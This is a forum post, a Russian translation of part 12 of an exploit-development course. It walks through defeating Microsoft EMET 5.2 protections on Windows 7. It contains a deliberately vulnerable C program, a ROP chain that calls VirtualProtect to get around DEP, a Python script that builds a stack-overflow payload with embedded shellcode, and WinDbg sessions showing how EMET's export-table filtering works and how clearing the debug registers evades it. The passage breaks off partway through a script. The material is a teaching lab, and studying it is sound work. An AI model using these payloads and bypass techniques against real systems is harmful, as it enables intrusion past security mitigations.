+ Reply to Thread
Results 1 to 2 of 2

Thread: Exploit Development Course Part 12: EMET 5.2 (Перевод: Prosper-H)

  1. #1
    Prosper-H's Avatar

    Default Exploit Development Course Part 12: EMET 5.2 (Перевод: Prosper-H)

    Перейти к содержанию


    Введение

    EMET расшифровывается как Enhanced Mitigation Experience Toolkit (загрузить). На момент написания статьи, последней версией, была версия 5.2.

    Как и раньше будем работать с Windows 7 SP1 64-bit.


    Предупреждение

    EMET 5.2 может конфликтовать с некоторыми фаерволами и антивирусами. Например, я потратил кучу времени пытаясь понять, почему EMET обнаруживает попытки атаки, там, где их не было. В итоге, оказалось, что конфликт вызывал Comodo Firewall. Поэтому я полностью удалил EMET.

    Хороших фаерволов не так много, поэтому я оставил Comodo Firewall в покое и решил работать на виртуальной машине (я использую VirtualBox).


    Техники защиты

    Как и предполагает имя, EMET пытается смягчить последствия от использования эксплойтов. Это достигается реализацией следующих защит:
    1. Data Execution Prevention (DEP)
      Останавливает выполнение инструкций, если они располагаются в памяти, которая помечена как не исполняемая.
    2. Structured Exception Handler Overwrite Protection (SEHOP)
      Предотвращает методы эксплуатации, которые нацелены на перезапись SEH (Structured Exception Handler).
    3. Null Page Protection (NullPage)
      Предварительно выделяет память под Null Page, чтобы предотвратить её использование в вредоносных целях.
    4. Heap Spray Protection (HeapSpray)
      Предварительно выделяет области памяти, которые часто используются атакующими для вредоносного кода.
      (Например, 0x0a040a04; 0x0a0a0a0a; 0x0b0b0b0b; 0x0c0c0c0c; 0x0d0d0d0d; 0x0e0e0e0e; 0x04040404; 0x05050505; 0x06060606; 0x07070707; 0x08080808; 0x09090909; 0x20202020; 0x14141414)
    5. Export Address Table Access Filtering (EAF)
      Регулирует доступ к таблице экспорта (EAT, Export Address Table) исходя из вызывающего кода.
    6. Export Address Table Access Filtering Plus (EAF+)
      Блокирует попытки чтения таблиц импорта и экспорта из модулей, которые обычно используются для исследования памяти во время эксплуатации уязвимостей, котоые связанны с повреждением памяти.
    7. Mandatory Address Space Layout Randomization (MandatoryASLR)
      Рандомизирует расположение модулей в памяти, ограничивая возможность атакующего ссылаться на заранее предопределенные адреса в памяти.
    8. Bottom-Up Address Space Layout Randomization (BottomUpASLR)
      Улучшает технику MandatoryASRL путем рандомизации базового адреса в bottom-up allocations.
    9. Load Library Protection (LoadLib)
      Блокирует загрузку модулей через UNC-пути (например, \\evilsite\bad.dll), распространенная техника в ROP (Return Oriented Programming) атаках.
    10. Memory Protection (MemProt)
      Отключает возможность пометки региона памяти, как исполняемой, если она находится в стеке. Так же распространена среди ROP-атак.
    11. ROP Caller Check (Caller)
      Останавливает выполнение критических функций, если переход на их код был осуществлен через RET-инструкцию, общий метод среди ROP-атак.
    12. ROP Simulate Execution Flow (SimExecFlow)
      Воспроизводит поток выполнения команд, которые следуют после выполнения адреса возврата, пытаясь таким образом обнаружить ROP-атаки.
    13. Stack Pivot (StackPivot)
      Проверяет, был ли изменен указатель стека, на регион памяти, который контролирует атакующий, распространенная техника среди ROP-атак.
    14. Attack Surface Reduction (ASR)
      Препятствует загрузке некоторых, заданных модулей из адресного пространства защищенного процесса. Звучит довольно пугающе, не так ли? Но давайте не будем преждевременно поддаваться страху.

    Программа

    Исследовать EMET лучше всего на своих собственных, маленьких C/C++ приложениях. Мы будем использовать exploitme3.cpp (из статьи), но с небольшими изменениями:

    Code:
    #include <cstdio>
     
    _declspec(noinline) int f() {
        char name[32];
        printf("Reading name from file...\n");
     
        FILE *f = fopen("c:\\deleteme\\name.dat", "rb");
        if (!f)
            return -1;
        fseek(f, 0L, SEEK_END);
        long bytes = ftell(f);
        fseek(f, 0L, SEEK_SET);
        fread(name, 1, bytes, f);
        name[bytes] = '\0';
        fclose(f);
     
        printf("Hi, %s!\n", name);
        return 0;
    }
     
    int main() {
        char moreStack[10000];
        for (int i = 0; i < sizeof(moreStack); ++i)
            moreStack[i] = i;
     
        return f();
    }
    Стековая переменная moreStack даст нам больше пространства на стеке. Не забывайте, что стек растет с верху в низ, в то время как fread пишет по адресам с низу в верх. Без этого дополнительного пространства на стеке, fread может достигнут конца стека и вызвать сбой в программе.

    Цикл в функции main необходим по той причине, что без него оптимизация удалит переменную moreStack из кода. Кроме того, если функция f будет встраиваемой (inlined), то массив name будет может быть размещен до moreStack, что противоречит нашей цели. Чтобы избежать это, нам нужно использовать _declspec(noinline).

    Как и делали раньше, нам нужно отключить Stack Cookies, но DEP оставить включенным. Для этого перейдите в настройки проекта "Project => Properties" и измените конфигурацию для Release, как показано ниже:
    • Configuration Properties => C/C++ => Code Generation => Security Check: Disable Security Check (/GS-)
    Убедитесь что DEP включен:
    • Configuration Properties => Linker => Advanced => Data Execution Prevention (DEP): Yes (/NXCOMPAT)

    Некоторые соображения насчет ASLR

    Мы знаем, что для победы над ASLR нужно иметь какую-нибудь утечку (info leak) и в следующих двух частях мы разработаем эксплойты для Internet Explorer 10 и 11 с включенной поддержкой ASLR, но сейчас, давайте проигнорируем ASLR и сконцентрируемся на DEP и ROP.

    Наш exploitme3 использует библиотеку msvcr120.dll. К сожалению, при каждой загрузке программы, библиотека загружается по разным адресам. Мы могли бы построить ROP-цепочку из системных библиотек (kernel32.dll, ntdll.dll, etc), но в этом мало смысла. Мы сделали многое, чтобы создать надежный шеллкод, который получает нужные нам адреса API-функций через таблицу экспорта (EAT, Export Address Tables). Если бы мы жестко задали адреса гаджетов, взятые из kernel32.dll и ntdll.dll, тогда был бы смысл задать таким же образом и адреса API-функций.

    Итак, правильным решением будет использование гаджетов из msvcr120.dll. К сожалению, если адрес kernel32.dll и ntdll.dll изменяется только при перезагрузке Windows, то адрес msvcr120.dll меняется при каждом перезапуске expoitme3.

    Разница между этими двумя поведениями связана с тем, что когда exploitme3 запускается, библиотеки kernel32.dll и ntdll.dll уже загружены в память, в то время как msvcr120.dll еще нет. Одним из решений этой проблемы является использование такой программы:

    Code:
    #include <stdio.h>
    #include <conio.h>
     
    int main() {
        printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120"));
        printf("--- press any key ---\n");
        _getch();
        return 0;
    }
    До тех пор, пока мы не завершим эту программу, базовый адрес msvcr120.dll не изменится. Когда мы запустим expoitme3, Windows увидит, что msvcr120.dll уже загружена в память, и просто спроецирует (map) её на адресное пространство exploitme3. Более того, msvcr120.dll будет спроецирована по тому же адресу, потому что она содержит зависимый код (position-dependent code), который не будет работать если разместить его по другому адресу.


    Initial Exploit

    Откройте EMET и нажмите на кнопку Apps:


    Теперь нажмите на Add Applications и выберите exploitme3.exe:


    Вы должны видеть, что exploitme3 был добавлен к списку:


    Теперь давайте отключим EAF, LoadLib, MemProt, Caller, SimExecFlow и StackPivot:


    Нажмите ОК для сохранения настроек.

    Теперь давайте загрузим exmpoitme3.exe в WinDbg (статья) и используем mona (статья) для генерации ROP-цепочки для VirtualProtect:

    Code:
    .load pykd.pyd
    !py mona rop -m msvcr120
    Вот ROP-цепочка, которая была найдена в файле rop_chains.txt, который был создан mona:

    Code:
    def create_rop_chain():
    
      # rop chain generated with mona.py - www.corelan.be
      rop_gadgets = [
        0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
        0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
        0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
        0x00000201,  # 0x00000201-> ebx
        0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
        0x00000040,  # 0x00000040-> edx
        0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
        0x705658f2,  # &Writable location [MSVCR120.dll]
        0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
        0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
        0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
        0x70493a17,  # JMP [EAX] [MSVCR120.dll]
        0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
        0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
        0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
        0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
      ]
      return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    Как работает эта ROP-цепочка, мы видели в статье Exploitme3 (DEP), поэтому не будем повторяться. Из той же статьи возьмем скрипт для генерации файла name.dat и будем изменять его по мере необходимости. Это начальная версия:

    Code:
    import struct
    
    # The signature of VirtualProtect is the following:
    #   BOOL WINAPI VirtualProtect(
    #     _In_   LPVOID lpAddress,
    #     _In_   SIZE_T dwSize,
    #     _In_   DWORD flNewProtect,
    #     _Out_  PDWORD lpflOldProtect
    #   );
    
    # After PUSHAD is executed, the stack looks like this:
    #   .
    #   .
    #   .
    #   EDI (ptr to ROP NOP (RETN))
    #   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
    #   EBP (ptr to POP (skips EAX on the stack))
    #   ESP (lpAddress (automatic))
    #   EBX (dwSize)
    #   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    #   ECX (lpOldProtect (ptr to writeable address))
    #   EAX (address of ptr to VirtualProtect)
    # lpAddress:
    #   ptr to "call esp"
    #   <shellcode>
    
    msvcr120 = 0x73c60000
    
    # Delta used to fix the addresses based on the new base address of msvcr120.dll.
    md = msvcr120 - 0x70480000
    
    
    def create_rop_chain(code_size):
        rop_gadgets = [
          md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
          md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
          md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
          code_size,        # code_size -> ebx
          md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
          0x00000040,       # 0x00000040-> edx
          md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
          md + 0x705658f2,  # &Writable location [MSVCR120.dll]
          md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
          md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
          md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
          md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
          md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
          md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
          md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
          md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    
    
    def write_file(file_path):
        with open(file_path, 'wb') as f:
            ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
            shellcode = (
                "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
                "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
                "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
                "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
                "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
                "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
                "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
                "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
                "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
                "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
                "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
                "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
                "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
                "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
                "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
                "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
                "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
                "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
                "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
                "\x30\x03\xc6\xeb\xdd")
            code_size = len(shellcode)
            name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
            f.write(name)
    
    write_file(r'c:\deleteme\name.dat')
    Обратите внимание на то, что вам нужно присвоить правильное значение переменной msvcr120. Так же не забудьте запустить и оставлять работающей ту маленькую программу, которая не дает библиотеке msvcr120.dll менять свой базовый адрес. Эта же программа так же сообщает нам текущий базовый адрес msvcr120.dll.

    Теперь запустите exploitme3.exe и вы увидите, как запустится калькулятор!


    EAF

    Теперь давайте активируем EAF защиту для exploitme3 программы и запустим её снова. На этот раз EMET обнаружит наш эксплойт и закроет exploitme3. В официальном описании к EAF говорится, что оно:

    регулирует доступ к таблице экспорта (EAT, Export Address Table) исходя из вызывающего кода.

    Примечание: перед отладкой exploitme3.exe, убедитесь, что в той же папке, где лежит эта программа, есть файл exploitme3.pdb, который содержит отладочную информацию.

    Давайте откроем exploitme3 в WinDbg (Ctrl+E) и поставим брейкпоинт на main:

    Code:
    bp exploitme3!main
    Когда нажмем F5 (go), получим странное исключение:

    Code:
    (f74.c20): Single step exception - code 80000004 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8
    eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0         nv up ei ng nz na pe cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000287
    ntdll!LdrpSnapThunk+0x1c1:
    76ec01ae 03c2            add     eax,edx
    Вот код:

    Code:
    76ec018e ff7618          push    dword ptr [esi+18h]
    76ec0191 ff75e0          push    dword ptr [ebp-20h]
    76ec0194 e819020000      call    ntdll!LdrpNameToOrdinal (76ec03b2)
    76ec0199 8b55d8          mov     edx,dword ptr [ebp-28h]
    76ec019c 0fb7c0          movzx   eax,ax
    76ec019f 0fb7c8          movzx   ecx,ax
    76ec01a2 3b4e14          cmp     ecx,dword ptr [esi+14h]
    76ec01a5 0f83b6f60000    jae     ntdll!LdrpSnapThunk+0x12b (76ecf861)
    76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception
    76ec01ae 03c2            add     eax,edx       <--------------------- we're here!
    76ec01b0 8d0c88          lea     ecx,[eax+ecx*4]
    76ec01b3 8b01            mov     eax,dword ptr [ecx]
    76ec01b5 03c2            add     eax,edx
    76ec01b7 8b7d14          mov     edi,dword ptr [ebp+14h]
    76ec01ba 8907            mov     dword ptr [edi],eax
    76ec01bc 3bc6            cmp     eax,esi
    76ec01be 0f87ca990000    ja      ntdll!LdrpSnapThunk+0x1d7 (76ec9b8e)
    76ec01c4 833900          cmp     dword ptr [ecx],0
    Single Step Exception это отладочное исключение. Вероятно, это исключение было сгенерировано кодом из предыдущей строки.

    Code:
    76ec01ab 8b461c          mov     eax,dword ptr [esi+1Ch]   <---------------- this generated the exception
    Давайте посмотрим на что указывает ESI:

    Code:
    0:000> ln @esi
    (7645ff70)   kernel32!$$VProc_ImageExportDirectory   |  (76480000)   kernel32!BasepAllowResourceConversion
    Exact matches:
        kernel32!$$VProc_ImageExportDirectory = <no type information>
    Кажется, ESI указывает на таблицу экспорта (EAT) из kernel32! Мы можем подтвердить, что ESI действительно указывает на Export Directory (другое имя EAT), следующим образом:

    Code:
    0:000> !dh kernel32
    
    File Type: DLL
    FILE HEADER VALUES
         14C machine (i386)
           4 number of sections
    53159A85 time date stamp Tue Mar 04 10:19:01 2014
    
           0 file pointer to symbol table
           0 number of symbols
          E0 size of optional header
        2102 characteristics
                Executable
                32 bit word machine
                DLL
    
    OPTIONAL HEADER VALUES
         10B magic #
        9.00 linker version
       D0000 size of code
       30000 size of initialized data
           0 size of uninitialized data
       13293 address of entry point
       10000 base of code
             ----- new -----
    763a0000 image base
       10000 section alignment
       10000 file alignment
           3 subsystem (Windows CUI)
        6.01 operating system version
        6.01 image version
        6.01 subsystem version
      110000 size of image
       10000 size of headers
      1105AE checksum
    00040000 size of stack reserve
    00001000 size of stack commit
    00100000 size of heap reserve
    00001000 size of heap commit
         140  DLL characteristics
                Dynamic base
                NX compatible
       BFF70 [    A9B1] address  of Export Directory      <----------------------------------
       CA924 [     1F4] address  of Import Directory
       F0000 [     528] address  of Resource Directory
           0 [       0] address  of Exception Directory
           0 [       0] address  of Security Directory
      100000 [    AD9C] address  of Base Relocation Directory
       D0734 [      38] address  of Debug Directory
           0 [       0] address  of Description Directory
           0 [       0] address  of Special Directory
           0 [       0] address  of Thread Storage Directory
       83510 [      40] address  of Load Configuration Directory
           0 [       0] address  of Bound Import Directory
       10000 [     DF0] address  of Import Address Table Directory
           0 [       0] address  of Delay Import Directory
           0 [       0] address  of COR20 Header Directory
           0 [       0] address  of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
       C0796 virtual size
       10000 virtual address
       D0000 size of raw data
       10000 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             (no align specified)
             Execute Read
    
    
    Debug Directories(2)
      Type       Size     Address  Pointer
      cv           26       d0770    d0770    Format: RSDS, guid, 2, wkernel32.pdb
      (    10)       4       d076c    d076c
    
    SECTION HEADER #2
       .data name
        100C virtual size
       E0000 virtual address
       10000 size of raw data
       E0000 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             (no align specified)
             Read Write
    
    SECTION HEADER #3
       .rsrc name
         528 virtual size
       F0000 virtual address
       10000 size of raw data
       F0000 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             (no align specified)
             Read Only
    
    SECTION HEADER #4
      .reloc name
        AD9C virtual size
      100000 virtual address
       10000 size of raw data
      100000 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             (no align specified)
             Read Only
    Мы видим, что ESI и правда указывает на Export Directory:

    Code:
    0:000> ? @esi == kernel32 + bff70
    Evaluate expression: 1 = 00000001            (1 means True)
    Инструкция, которая вызвала исключение, обратилась к Export Dicrectory по смещению 0x1C. Посмотрим, на что указывает это смещение, открыв файл winnt.h:

    Code:
    typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;          // 0
        DWORD   TimeDateStamp;            // 4
        WORD    MajorVersion;             // 8
        WORD    MinorVersion;             // 0xa
        DWORD   Name;                     // 0xc
        DWORD   Base;                     // 0x10
        DWORD   NumberOfFunctions;        // 0x14
        DWORD   NumberOfNames;            // 0x18    
        DWORD   AddressOfFunctions;       // 0x1c   <----------------------
        DWORD   AddressOfNames;           // 0x20
        DWORD   AddressOfNameOrdinals;    // 0x24
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
    В статье Shellcode мы узнали, что AddressOfFunctions это указатель на массив, который содержит адреса экспортируемых функций.

    Если посмотреть на стек (stack trace), увидим, что код был вызван из функции GetProcAddress:

    Code:
    0:000> k 10
    ChildEBP RetAddr  
    003ef290 76ec032a ntdll!LdrpSnapThunk+0x1c1
    003ef34c 76ec0202 ntdll!LdrGetProcedureAddressEx+0x1ca
    003ef368 76261e59 ntdll!LdrGetProcedureAddress+0x18
    003ef390 73c8d45e KERNELBASE!GetProcAddress+0x44      <------------------------
    003ef3a4 73c8ca0d MSVCR120!__crtLoadWinApiPointers+0x1d [f:\dd\vctools\crt\crtw32\misc\winapisupp.c @ 752]
    003ef3a8 73c8ca91 MSVCR120!_mtinit+0x5 [f:\dd\vctools\crt\crtw32\startup\tidtable.c @ 97]
    003ef3d8 73c71a5f MSVCR120!__CRTDLL_INIT+0x2f [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 235]
    003ef3ec 76ec99a0 MSVCR120!_CRTDLL_INIT+0x1c [f:\dd\vctools\crt\crtw32\dllstuff\crtlib.c @ 214]
    003ef40c 76ecd939 ntdll!LdrpCallInitRoutine+0x14
    003ef500 76ed686c ntdll!LdrpRunInitializeRoutines+0x26f
    003ef680 76ed5326 ntdll!LdrpInitializeProcess+0x1400
    003ef6d0 76ec9ef9 ntdll!_LdrpInitialize+0x78
    003ef6e0 00000000 ntdll!LdrInitializeThunk+0x10
    Это первый раз, когда мы видим такое исключение, оно должно исходить от EMET. Похоже, что при активированной технике EAF, EMET перехватывает любые обращения к AddressOfFunctions. Как он это делает?

    Для этой цели, в WinDbg мы могли бы использовать такую команду как ba, которая полагается на аппаратные брейкпойнты (hardware breakpoint), поэтому EMET должен использовать этот же метод. Давайте посмотрим на отладочные регистры (debug registers):

    Code:
    0:000> rM 20
    dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
    dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
    ntdll!LdrpSnapThunk+0x1c1:
    76ec01ae 03c2            add     eax,edx
    (Если вы не знаете, что делает команда, смотрите справку к ней, с помощью .hh)

    Значение в регистре DR1 кажется знакомым:

    Code:
    0:000> ? @dr1 == esi+1c
    Evaluate expression: 1 = 00000001
    Идеальное совпадение!


    Debug Registers

    Будем честными: нет никакой необходимости изучать формат отладочных регистров. Очевидно, что в нашем случае DR0, DR1 и DR2 содержат адреса, куда установлены аппаратные брейкпойнты. Давайте посмотрим, на что они указывают (на DR1 мы уже смотрели ранее):

    Code:
    0:000> ln dr0
    (76ea01e8)   ntdll!$$VProc_ImageExportDirectory+0x1c   |  (76eaf8a0)   ntdll!NtMapUserPhysicalPagesScatter
    0:000> ln dr1
    (7645ff70)   kernel32!$$VProc_ImageExportDirectory+0x1c   |  (76480000)   kernel32!BasepAllowResourceConversion
    0:000> ln dr2
    (76288cb0)   KERNELBASE!_NULL_IMPORT_DESCRIPTOR+0x2bac   |  (76291000)   KERNELBASE!KernelBaseGlobalData
    Первые два указывают на Export Directories из ntdll и kernel32, тогда как третий выглядит иначе. Посмотрим:

    Code:
    0:000> !dh kernelbase
    
    File Type: DLL
    FILE HEADER VALUES
         14C machine (i386)
           4 number of sections
    53159A86 time date stamp Tue Mar 04 10:19:02 2014
    
           0 file pointer to symbol table
           0 number of symbols
          E0 size of optional header
        2102 characteristics
                Executable
                32 bit word machine
                DLL
    
    OPTIONAL HEADER VALUES
         10B magic #
        9.00 linker version
       3F800 size of code
        4400 size of initialized data
           0 size of uninitialized data
        74C1 address of entry point
        1000 base of code
             ----- new -----
    76250000 image base
        1000 section alignment
         200 file alignment
           3 subsystem (Windows CUI)
        6.01 operating system version
        6.01 image version
        6.01 subsystem version
       47000 size of image
         400 size of headers
       49E52 checksum
    00040000 size of stack reserve
    00001000 size of stack commit
    00100000 size of heap reserve
    00001000 size of heap commit
         140  DLL characteristics
                Dynamic base
                NX compatible
       3B840 [    4F19] address  of Export Directory        <-------------------------
       38C9C [      28] address  of Import Directory
       43000 [     530] address  of Resource Directory
           0 [       0] address  of Exception Directory
           0 [       0] address  of Security Directory
       44000 [    25F0] address  of Base Relocation Directory
        1660 [      1C] address  of Debug Directory
           0 [       0] address  of Description Directory
           0 [       0] address  of Special Directory
           0 [       0] address  of Thread Storage Directory
        69D0 [      40] address  of Load Configuration Directory
           0 [       0] address  of Bound Import Directory
        1000 [     654] address  of Import Address Table Directory
           0 [       0] address  of Delay Import Directory
           0 [       0] address  of COR20 Header Directory
           0 [       0] address  of Reserved Directory
    
    
    SECTION HEADER #1
       .text name
       3F759 virtual size
        1000 virtual address
       3F800 size of raw data
         400 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    60000020 flags
             Code
             (no align specified)
             Execute Read
    
    
    Debug Directories(1)
      Type       Size     Address  Pointer
      cv           28        6a18     5e18    Format: RSDS, guid, 1, wkernelbase.pdb
    
    SECTION HEADER #2
       .data name
        11E8 virtual size
       41000 virtual address
         400 size of raw data
       3FC00 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    C0000040 flags
             Initialized Data
             (no align specified)
             Read Write
    
    SECTION HEADER #3
       .rsrc name
         530 virtual size
       43000 virtual address
         600 size of raw data
       40000 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    40000040 flags
             Initialized Data
             (no align specified)
             Read Only
    
    SECTION HEADER #4
      .reloc name
        2A18 virtual size
       44000 virtual address
        2C00 size of raw data
       40600 file pointer to raw data
           0 file pointer to relocation table
           0 file pointer to line numbers
           0 number of relocations
           0 number of line numbers
    42000040 flags
             Initialized Data
             Discardable
             (no align specified)
             Read Only
    0:000> ? kernelbase+3B840+1c
    Evaluate expression: 1982380124 = 7628b85c    <----------------------
    0:000> ? @dr2
    Evaluate expression: 1982380124 = 7628b85c    <----------------------
    Ложная тревога: DR2 указывает на Export Directory из KERNELBASE!

    В любом случае, исключительно ради нашего любопытства, давайте посмотрим в Intel Manuals (3B). Вот формат отладочных регистров:


    Предельно ясно, что регистры DR0, DR1, DR2 и DR3 определяют адреса брейкпойнтов. Регистр DR6 является регистром состояния, которые хранит информацию о последнем отладочном исключении, тогда как DR7 содержит настройки для 4 брейкпойнтов. Если вам интересны детали, обращайтесь к руководству от Intel самостоятельно.

    Все что мы должны знать, это то, как отключить аппаратные брейкпойнты. Для этого нужно просто очистить отладочные регистры. И действительно, если вы загрузите exploitme3.exe в WinDbg и посмотрите на эти регистры до того, как EMET их изменит, вы увидите следующее:

    Code:
    0:000> rM 20
    dr0=00000000 dr1=00000000 dr2=00000000
    dr3=00000000 dr6=00000000 dr7=00000000
    ntdll!LdrpDoDebuggerBreak+0x2c:
    76f3103b cc              int     3

    Очистка отладочных регистров (1)

    Очистка отладочных регистров должна быть довольно простым делом, не так ли? Давайте пробуем!

    Мы можем поместить код для очистки этих регистров прямо перед нашим шеллкодом, так что бы он мог безнаказанно получить доступ к Export Directories.

    Для генерации машинного кода, можно использовать asm-вставки в Visual Studio. После компиляции запустите программу на отладку и перейдите в окно Дизассемблера (Go to the Disassembly), для этого нажмите правой кнопкой мыши на ассемблерной инструкции. Теперь, из этого окна, мы можем взять и скопировать код в PyCharm и немного отредактировать его.

    Вот результат:

    Code:
    import struct
    
    # The signature of VirtualProtect is the following:
    #   BOOL WINAPI VirtualProtect(
    #     _In_   LPVOID lpAddress,
    #     _In_   SIZE_T dwSize,
    #     _In_   DWORD flNewProtect,
    #     _Out_  PDWORD lpflOldProtect
    #   );
    
    # After PUSHAD is executed, the stack looks like this:
    #   .
    #   .
    #   .
    #   EDI (ptr to ROP NOP (RETN))
    #   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
    #   EBP (ptr to POP (skips EAX on the stack))
    #   ESP (lpAddress (automatic))
    #   EBX (dwSize)
    #   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
    #   ECX (lpOldProtect (ptr to writeable address))
    #   EAX (address of ptr to VirtualProtect)
    # lpAddress:
    #   ptr to "call esp"
    #   <shellcode>
    
    msvcr120 = 0x73c60000
    
    # Delta used to fix the addresses based on the new base address of msvcr120.dll.
    md = msvcr120 - 0x70480000
    
    
    def create_rop_chain(code_size):
        rop_gadgets = [
          md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
          md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
          md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
          code_size,        # code_size -> ebx
          md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
          0x00000040,       # 0x00000040-> edx
          md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
          md + 0x705658f2,  # &Writable location [MSVCR120.dll]
          md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
          md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
          md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
          md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
          md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
          md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
          md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
          md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
    
    
    def write_file(file_path):
        with open(file_path, 'wb') as f:
            ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
            shellcode = (
                "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
                "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
